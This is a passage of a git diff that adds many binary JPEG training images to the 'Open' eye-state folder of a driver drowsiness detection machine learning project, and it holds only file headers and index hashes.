Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_417.jpg new file mode 100644 index 00000000..8cfb7246 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_417.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_418.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_418.jpg new file mode 100644 index 00000000..599e8d09 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_418.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_419.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_419.jpg new file mode 100644 index 00000000..626581a7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_419.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_42.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_42.jpg new file mode 100644 index 00000000..0f8d59c2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_42.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_420.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_420.jpg new file mode 100644 index 00000000..0e823822 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_420.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_421.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_421.jpg new file mode 100644 index 00000000..7a759078 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_421.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_422.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_422.jpg new file mode 100644 index 00000000..ca44f986 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_422.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_423.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_423.jpg new file mode 100644 index 00000000..12b7f146 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_423.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_424.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_424.jpg new file mode 100644 index 00000000..6d6bfbfa Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_424.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_425.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_425.jpg new file mode 100644 index 00000000..efe5d440 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_425.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_426.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_426.jpg new file mode 100644 index 00000000..0f7b9552 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_426.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_427.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_427.jpg new file mode 100644 index 00000000..f37c856e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_427.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_428.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_428.jpg new file mode 100644 index 00000000..6ab130d1 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_428.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_429.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_429.jpg new file mode 100644 index 00000000..ed91ec7c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_429.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_43.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_43.jpg new file mode 100644 index 00000000..72bcbcb3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_43.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_430.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_430.jpg new file mode 100644 index 00000000..dcbaea33 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_430.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_431.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_431.jpg new file mode 100644 index 00000000..0e82e94e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_431.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_432.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_432.jpg new file mode 100644 index 00000000..05b5e27c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_432.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_433.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_433.jpg new file mode 100644 index 00000000..70f5cf3a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_433.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_435.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_435.jpg new file mode 100644 index 00000000..1343bf24 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_435.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_436.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_436.jpg new file mode 100644 index 00000000..857081f9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_436.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_437.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_437.jpg new file mode 100644 index 00000000..e7ba0741 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_437.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_438.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_438.jpg new file mode 100644 index 00000000..7579f449 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_438.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_44.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_44.jpg new file mode 100644 index 00000000..768a3be6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_44.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_440.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_440.jpg new file mode 100644 index 00000000..d2deafca Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_440.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_443.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_443.jpg new file mode 100644 index 00000000..7c076adf Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_443.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_444.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_444.jpg new file mode 100644 index 00000000..87dcd882 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_444.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_445.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_445.jpg new file mode 100644 index 00000000..83b75a71 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_445.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_446.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_446.jpg new file mode 100644 index 00000000..bc13a3b2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_446.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_448.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_448.jpg new file mode 100644 index 00000000..1af60270 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_448.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_449.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_449.jpg new file mode 100644 index 00000000..07832914 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_449.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_450.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_450.jpg new file mode 100644 index 00000000..7bcfd404 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_450.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_452.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_452.jpg new file mode 100644 index 00000000..78484445 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_452.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_453.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_453.jpg new file mode 100644 index 00000000..dc255197 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_453.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_454.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_454.jpg new file mode 100644 index 00000000..07a6f171 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_454.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_455.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_455.jpg new file mode 100644 index 00000000..2273cb66 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_455.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_456.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_456.jpg new file mode 100644 index 00000000..e71bfa0b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_456.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_457.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_457.jpg new file mode 100644 index 00000000..01553d70 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_457.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_458.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_458.jpg new file mode 100644 index 00000000..493bbf9a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_458.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_459.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_459.jpg new file mode 100644 index 00000000..227873bb Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_459.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_460.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_460.jpg new file mode 100644 index 00000000..6f11e26e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_460.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_461.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_461.jpg new file mode 100644 index 00000000..968be126 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_461.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_462.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_462.jpg new file mode 100644 index 00000000..a4350b66 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_462.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_463.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_463.jpg new file mode 100644 index 00000000..30686e6e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_463.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_464.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_464.jpg new file mode 100644 index 00000000..dbf5202e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_464.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_465.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_465.jpg new file mode 100644 index 00000000..f40a4d98 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_465.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_466.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_466.jpg new file mode 100644 index 00000000..9343b1be Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_466.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_467.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_467.jpg new file mode 100644 index 00000000..1384efff Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_467.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_468.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_468.jpg new file mode 100644 index 00000000..112f4e83 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_468.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_469.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_469.jpg new file mode 100644 index 00000000..72d084e2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_469.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_47.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_47.jpg new file mode 100644 index 00000000..81dc2fdb Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_47.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_470.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_470.jpg new file mode 100644 index 00000000..529b667f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_470.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_471.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_471.jpg new file mode 100644 index 00000000..b1359b6d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_471.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_472.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_472.jpg new file mode 100644 index 00000000..bebd3c8e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_472.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_473.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_473.jpg new file mode 100644 index 00000000..5b33d15f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_473.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_474.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_474.jpg new file mode 100644 index 00000000..bf6751b6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_474.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_475.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_475.jpg new file mode 100644 index 00000000..e24ae7ff Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_475.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_476.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_476.jpg new file mode 100644 index 00000000..8f541a79 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_476.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_477.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_477.jpg new file mode 100644 index 00000000..accfb1c8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_477.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_478.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_478.jpg new file mode 100644 index 00000000..060c3614 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_478.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_479.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_479.jpg new file mode 100644 index 00000000..3fee97c1 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_479.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_48.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_48.jpg new file mode 100644 index 00000000..acc5e381 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_48.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_480.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_480.jpg new file mode 100644 index 00000000..372d2700 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_480.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_481.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_481.jpg new file mode 100644 index 00000000..eeaeb165 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_481.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_482.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_482.jpg new file mode 100644 index 00000000..2f778d59 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_482.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_483.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_483.jpg new file mode 100644 index 00000000..cbb37693 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_483.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_484.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_484.jpg new file mode 100644 index 00000000..1a629102 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_484.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_485.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_485.jpg new file mode 100644 index 00000000..e2b4e837 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_485.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_486.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_486.jpg new file mode 100644 index 00000000..e9471da9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_486.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_487.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_487.jpg new file mode 100644 index 00000000..dc6e4618 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_487.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_488.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_488.jpg new file mode 100644 index 00000000..7c838119 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_488.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_489.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_489.jpg new file mode 100644 index 00000000..1953670d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_489.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_49.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_49.jpg new file mode 100644 index 00000000..8560bfc9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_49.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_490.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_490.jpg new file mode 100644 index 00000000..64081ab7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_490.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_491.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_491.jpg new file mode 100644 index 00000000..fdc0f6ab Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_491.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_492.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_492.jpg new file mode 100644 index 00000000..6b63708b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_492.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_493.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_493.jpg new file mode 100644 index 00000000..231411c1 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_493.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_494.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_494.jpg new file mode 100644 index 00000000..64934f97 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_494.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_496.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_496.jpg new file mode 100644 index 00000000..3a1449b4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_496.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_499.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_499.jpg new file mode 100644 index 00000000..d153727e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_499.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_5.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_5.jpg new file mode 100644 index 00000000..a88bef8d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_5.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_50.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_50.jpg new file mode 100644 index 00000000..5f58ba2f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_50.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_500.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_500.jpg new file mode 100644 index 00000000..0a949ed5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_500.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_501.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_501.jpg new file mode 100644 index 00000000..b455a8db Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_501.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_502.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_502.jpg new file mode 100644 index 00000000..76cd5501 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_502.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_503.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_503.jpg new file mode 100644 index 00000000..c5321c30 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_503.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_504.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_504.jpg new file mode 100644 index 00000000..379b930a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_504.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_505.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_505.jpg new file mode 100644 index 00000000..db2b2a19 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_505.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_507.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_507.jpg new file mode 100644 index 00000000..7099781b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_507.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_508.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_508.jpg new file mode 100644 index 